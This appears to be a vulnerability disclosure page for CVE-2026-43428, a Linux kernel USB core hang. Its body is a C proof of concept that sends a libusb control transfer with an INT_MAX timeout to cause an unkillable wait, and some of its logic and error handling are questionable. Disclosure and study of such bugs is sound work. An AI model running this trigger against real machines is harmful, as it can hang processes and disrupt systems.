CVE-2026-43428 Linux内核USB核心超时挂起漏洞

/* * PoC for CVE-2026-43428: USB Core Timeout Hang * This PoC demonstrates triggering the unkillable wait issue * by sending a USB control message with an excessive timeout. * Requires: libusb-1.0 development libraries * Compile: gcc -o poc_usb_hang poc_usb_hang.c -lusb-1.0 */ #include <libusb-1.0/libusb.h> #include <stdio.h> #include <unistd.h> int main() { libusb_device_handle *handle = NULL; int ret; // Initialize libusb ret = libusb_init(NULL); if (ret < 0) { fprintf(stderr, "Failed to initialize libusb\n"); return 1; } // Open a USB device (VID/PID placeholders) // In a real scenario, the attacker targets a specific vulnerable device handle = libusb_open_device_with_vid_pid(NULL, 0x1234, 0x5678); if (!handle) { printf("No target device found. Connect a USB device to test.\n"); libusb_exit(NULL); return 1; } printf("Device opened. Sending control transfer with huge timeout...\n"); unsigned char data[64]; // Attempt to send a control transfer with a massive timeout value // INT_MAX or similar value to trigger the unkillable sleep before patch unsigned int massive_timeout = 2147483647; // INT_MAX ret = libusb_control_transfer( handle, 0x80, // bmRequestType (Direction: In, Type: Standard, Recipient: Device) 0x06, // bRequest (GET_DESCRIPTOR) 0x0100, // wValue (Descriptor Type: Device, Index: 0) 0x0000, // wIndex data, // data buffer sizeof(data), // wLength massive_timeout // timeout in milliseconds ); if (ret < 0) { perror("Transfer failed or timed out (after patch)"); } else { printf("Transfer completed (unexpected).\n"); } libusb_close(handle); libusb_exit(NULL); return 0; }